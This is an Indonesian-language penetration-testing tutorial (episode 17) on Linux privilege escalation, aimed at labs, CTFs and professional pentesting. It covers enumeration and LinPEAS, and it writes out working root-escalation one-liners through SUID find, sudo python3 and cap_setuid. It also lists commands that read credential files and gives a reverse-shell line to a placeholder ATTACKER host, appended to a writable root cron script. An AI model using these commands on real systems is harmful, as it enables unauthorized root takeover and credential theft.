Naik dari user biasa ke root di Linux: eksploitasi SUID dan SGID, sudo misconfiguration, cron jobs yang bisa disusupi, capabilities, kernel exploits, dan credential yang tersimpan di file, memakai LinPEAS dan manual enumeration secara bertahap

Setelah berhasil masuk ke sistem (foothold), pertanyaan berikutnya selalu sama: "bagaimana menjadi root?". Di episode ini kita menjawabnya untuk Linux — keterampilan privilege escalation yang menjadi pembeda antara "hanya bisa membaca satu file" dan "menguasai seluruh sistem".
Mengapa ini penting? Dalam pentest nyata, initial access sering didapat sebagai user terbatas — lewat web shell, service rentan, atau credential yang lemah. Kemenangan sejati dimulai ketika user terbatas itu berhasil menjadi root: dari sana seluruh mesin, data, dan kredensial bisa diambil. Episode ini mengajarkan pola berpikir: enumerasi dulu, exploit kemudian.
Sebelum mengeksploitasi, kumpulkan fakta. Dua pendekatan yang saling melengkapi:
Kumpulan perintah yang wajib kalian jalankan sendiri — karena tool otomatis tidak selalu jalan:
id
sudo -l
cat /etc/crontab
cat /etc/passwd | grep -v nologin
find / -perm -4000 -type f 2>/dev/null
uname -a
cat /etc/os-releasegrep -ri "password" /home 2>/dev/null
find / -name "*.bak" -o -name "*backup*" 2>/dev/null | head
envLinPEAS mengotomasi enumerasi ini dalam satu jalur eksekusi. Upload lalu jalankan:
./linpeas.sh -aOutputnya menandai temuan dengan warna: yang penting diberi sorotan (SUID, sudo, cron, writable files). LinPEAS tidak menemukan segalanya — tapi ia mempercepat, dan hasilnya mengarahkan manual enumeration.
Tip
Alur yang benar: jalankan LinPEAS dulu untuk peta kasar, lalu verifikasi setiap temuan secara manual. Jangan langsung menyalin exploit dari internet tanpa memahami mengapa misconfig ini bisa dieksploitasi — kemampuan menjelaskan alurnya yang akan diuji di CTF dan wawancara kerja.
Binary dengan SUID bit berjalan sebagai pemiliknya (sering root). Dari episode 4 kita tahu cara menemukannya. Yang menarik adalah binary dengan SUID yang bisa memanggil command atau membaca file:
/usr/bin/find
/usr/bin/vim
/usr/bin/python3
/usr/bin/base64
/usr/bin/envBanyak yang bisa dieksploitasi via -exec, !bash, atau interpreter:
/usr/bin/find / -exec /bin/sh -p \;sudo -l menampilkan perintah apa yang boleh dijalankan user sebagai root. Jika daftarnya memuat interpreter atau tool berbahaya, privilege escalation tinggal menunggu:
User may run the following commands:
(root) NOPASSWD: /usr/bin/vim
(root) NOPASSWD: /usr/bin/python3Situs GTFOBins mengkatalog cara mengeksploitasi binary yang boleh dijalankan via sudo:
sudo python3 -c 'import os; os.system("/bin/bash")'Cron job yang berjalan sebagai root dan menyentuh file yang bisa kita tulis = jalan menuju root. Pola umum:
cat /etc/crontab
ls -la /etc/cron.d/Jika ada script yang dijalankan root, periksa siapa pemilik dan apakah path-nya bisa kita tulis. Script dengan path relatif atau file yang bisa dimodifikasi user adalah undangan: ganti isinya dengan reverse shell.
Kernel Linux modern memakai capabilities — hak granular yang bisa diberikan ke binary tertentu tanpa root penuh. Kemampuan berbahaya:
getcap -r / 2>/dev/null/usr/bin/python3 = cap_setuid+ep
/usr/bin/perl = cap_setuid+epJika binary punya cap_setuid+ep, jalankan untuk setuid ke root:
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'Eksploitasi kernel (DirtyCow, CVE-2021-4034 PwnKit, dll) adalah pilihan terakhir — rawan crash dan tidak selalu berhasil:
uname -rBandingkan versi dengan CVE yang ada. Aturan emas: coba cara misconfig dulu, baru kernel exploit — kernel exploit berisiko menggagalkan seluruh sesi.
Sumber paling sepele tapi paling sering terlewat:
cat /home/user/.bash_history
cat /var/www/html/config.php
cat /opt/backup/creds.txt
ls -la /home/user/.ssh/Jika menemukan kredensial root, reuse langsung — pentester senior selalu mencoba password reuse sebelum teknik rumit.
Warning
Kernel exploit bisa merusak sistem (panic, crash) dan meninggalkan jejak besar. Di lab, gunakan sebagai latihan terakhir setelah cara misconfig gagal. Di dunia nyata, crash produksi akibat kernel exploit adalah kegagalan engagement — bukan kemenangan.
Skenario: user www-data via web shell. LinPEAS menemukan: (1) /etc/crontab menjalankan /opt/cleanup.sh setiap 5 menit sebagai root; (2) /opt/cleanup.sh writable oleh www-data.
echo '/bin/bash -i >& /dev/tcp/ATTACKER/4444 0>&1' >> /opt/cleanup.shMenunggu cron berikutnya → reverse shell sebagai root. Skenario ini menggabungkan tiga pelajaran: enumerasi menemukan cron, permission yang salah membuka akses, dan persistensi dari cron membuat kita jadi root.
Pada episode 17 ini, kalian telah menguasai jalur utama privilege escalation di Linux.
Inti yang harus dibawa pulang:
Di episode 18 selanjutnya kita membahas Windows privilege escalation & credential attacks — unquoted service paths, weak service permissions, tokens, UAC bypass, SeImpersonate, lalu ekstraksi kredensial dengan Mimikatz/secretsdump, LSASS, dan pass-the-hash. Sampai jumpa di episode 18!